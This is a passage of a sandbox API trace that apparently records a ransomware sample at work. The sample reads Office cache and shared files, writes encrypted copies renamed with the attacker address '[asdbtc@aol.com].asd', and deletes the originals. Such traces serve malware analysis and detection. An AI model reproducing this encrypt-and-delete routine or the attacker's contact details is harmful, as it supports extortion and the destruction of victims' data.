returned 1 [0044.330] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0044.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.331] GetLastError () returned 0x0 [0044.331] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xa40, lpOverlapped=0x0) returned 1 [0044.593] WriteFile (in: hFile=0x16c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xa50, lpOverlapped=0x0) returned 1 [0044.594] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0044.594] WriteFile (in: hFile=0x16c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.594] SetEndOfFile (hFile=0x16c) returned 1 [0044.594] CloseHandle (hObject=0x16c) returned 1 [0044.595] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0044.595] SetEndOfFile (hFile=0x19c) returned 1 [0044.596] CloseHandle (hObject=0x19c) returned 1 [0044.596] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.596] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.597] lstrlenW (lpString=".doc") returned 4 [0044.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString=".docx") returned 5 [0044.597] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.597] lstrlenW (lpString=".pdf") returned 4 [0044.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString=".xls") returned 4 [0044.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString=".xlsx") returned 5 [0044.597] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.597] lstrlenW (lpString=".ppt") returned 4 [0044.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.597] lstrlenW (lpString=".zip") returned 4 [0044.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.597] lstrlenW (lpString=".rar") returned 4 [0044.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString=".bz2") returned 4 [0044.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString=".7z") returned 3 [0044.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.597] lstrlenW (lpString=".dbf") returned 4 [0044.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.597] lstrlenW (lpString=".1cd") returned 4 [0044.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.597] lstrlenW (lpString=".jpg") returned 4 [0044.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.597] lstrlenW (lpString=".doc") returned 4 [0044.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString=".docx") returned 5 [0044.598] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.598] lstrlenW (lpString=".pdf") returned 4 [0044.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString=".xls") returned 4 [0044.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString=".xlsx") returned 5 [0044.598] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.598] lstrlenW (lpString=".ppt") returned 4 [0044.598] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.598] lstrlenW (lpString=".zip") returned 4 [0044.598] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.598] lstrlenW (lpString=".rar") returned 4 [0044.598] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString=".bz2") returned 4 [0044.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString=".7z") returned 3 [0044.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.598] lstrlenW (lpString=".dbf") returned 4 [0044.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.598] lstrlenW (lpString=".1cd") returned 4 [0044.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.598] lstrlenW (lpString=".jpg") returned 4 [0044.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.599] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.599] lstrlenW (lpString="Setup.xml") returned 9 [0044.599] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0045.066] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=31094) returned 1 [0045.066] CloseHandle (hObject=0x1bc) returned 1 [0045.066] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.071] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0045.082] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.082] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.108] GetLastError () returned 0x0 [0045.108] ReadFile (in: hFile=0x1bc, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x7976, lpOverlapped=0x0) returned 1 [0045.114] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x7980, lpOverlapped=0x0) returned 1 [0045.117] ReadFile (in: hFile=0x1bc, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0045.117] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.117] SetEndOfFile (hFile=0x1c0) returned 1 [0045.118] CloseHandle (hObject=0x1c0) returned 1 [0045.119] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.119] SetEndOfFile (hFile=0x1bc) returned 1 [0045.120] CloseHandle (hObject=0x1bc) returned 1 [0045.120] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0045.121] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.121] lstrlenW (lpString=".doc") returned 4 [0045.121] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.121] lstrlenW (lpString=".docx") returned 5 [0045.121] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.121] lstrlenW (lpString=".pdf") returned 4 [0045.121] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.121] lstrlenW (lpString=".xls") returned 4 [0045.121] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.121] lstrlenW (lpString=".xlsx") returned 5 [0045.121] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.121] lstrlenW (lpString=".ppt") returned 4 [0045.121] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.121] lstrlenW (lpString=".zip") returned 4 [0045.121] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.121] lstrlenW (lpString=".rar") returned 4 [0045.122] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString=".bz2") returned 4 [0045.122] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString=".7z") returned 3 [0045.122] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.122] lstrlenW (lpString=".dbf") returned 4 [0045.122] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.122] lstrlenW (lpString=".1cd") returned 4 [0045.122] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.122] lstrlenW (lpString=".jpg") returned 4 [0045.122] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.122] lstrlenW (lpString=".doc") returned 4 [0045.122] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString=".docx") returned 5 [0045.122] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.122] lstrlenW (lpString=".pdf") returned 4 [0045.122] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString=".xls") returned 4 [0045.122] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.122] lstrlenW (lpString=".xlsx") returned 5 [0045.122] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.122] lstrlenW (lpString=".ppt") returned 4 [0045.123] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.123] lstrlenW (lpString=".zip") returned 4 [0045.123] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.123] lstrlenW (lpString=".rar") returned 4 [0045.123] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.123] lstrlenW (lpString=".bz2") returned 4 [0045.123] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.123] lstrlenW (lpString=".7z") returned 3 [0045.123] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.123] lstrlenW (lpString=".dbf") returned 4 [0045.123] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.123] lstrlenW (lpString=".1cd") returned 4 [0045.123] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.123] lstrlenW (lpString=".jpg") returned 4 [0045.124] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.124] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0045.124] lstrlenW (lpString="MS.GIF") returned 6 [0045.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.128] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1069) returned 1 [0045.128] CloseHandle (hObject=0x19c) returned 1 [0045.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0045.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.128] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.128] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.129] GetLastError () returned 0x0 [0045.129] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x42d, lpOverlapped=0x0) returned 1 [0045.141] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x430, lpOverlapped=0x0) returned 1 [0045.142] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0045.143] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe0, lpOverlapped=0x0) returned 1 [0045.143] SetEndOfFile (hFile=0x1c4) returned 1 [0045.143] CloseHandle (hObject=0x1c4) returned 1 [0045.143] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.144] SetEndOfFile (hFile=0x19c) returned 1 [0045.144] CloseHandle (hObject=0x19c) returned 1 [0045.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0045.145] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.145] lstrlenW (lpString=".doc") returned 4 [0045.145] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.145] lstrlenW (lpString=".docx") returned 5 [0045.145] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0045.145] lstrlenW (lpString=".pdf") returned 4 [0045.145] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.145] lstrlenW (lpString=".xls") returned 4 [0045.145] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.145] lstrlenW (lpString=".xlsx") returned 5 [0045.145] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0045.145] lstrlenW (lpString=".ppt") returned 4 [0045.145] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.145] lstrlenW (lpString=".zip") returned 4 [0045.145] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.145] lstrlenW (lpString=".rar") returned 4 [0045.145] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.145] lstrlenW (lpString=".bz2") returned 4 [0045.145] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.146] lstrlenW (lpString=".7z") returned 3 [0045.146] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.146] lstrlenW (lpString=".dbf") returned 4 [0045.146] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.146] lstrlenW (lpString=".1cd") returned 4 [0045.146] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.146] lstrlenW (lpString=".jpg") returned 4 [0045.146] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.146] lstrlenW (lpString=".doc") returned 4 [0045.146] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.146] lstrlenW (lpString=".docx") returned 5 [0045.146] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0045.146] lstrlenW (lpString=".pdf") returned 4 [0045.146] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.146] lstrlenW (lpString=".xls") returned 4 [0045.146] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.146] lstrlenW (lpString=".xlsx") returned 5 [0045.146] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0045.146] lstrlenW (lpString=".ppt") returned 4 [0045.146] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.146] lstrlenW (lpString=".zip") returned 4 [0045.146] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.146] lstrlenW (lpString=".rar") returned 4 [0045.146] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.146] lstrlenW (lpString=".bz2") returned 4 [0045.146] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.147] lstrlenW (lpString=".7z") returned 3 [0045.147] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.147] lstrlenW (lpString=".dbf") returned 4 [0045.147] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.147] lstrlenW (lpString=".1cd") returned 4 [0045.147] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0045.147] lstrlenW (lpString=".jpg") returned 4 [0045.147] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.147] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0045.147] lstrlenW (lpString="MS.PNG") returned 6 [0045.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.147] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1682) returned 1 [0045.147] CloseHandle (hObject=0x19c) returned 1 [0045.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0045.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.148] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.148] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 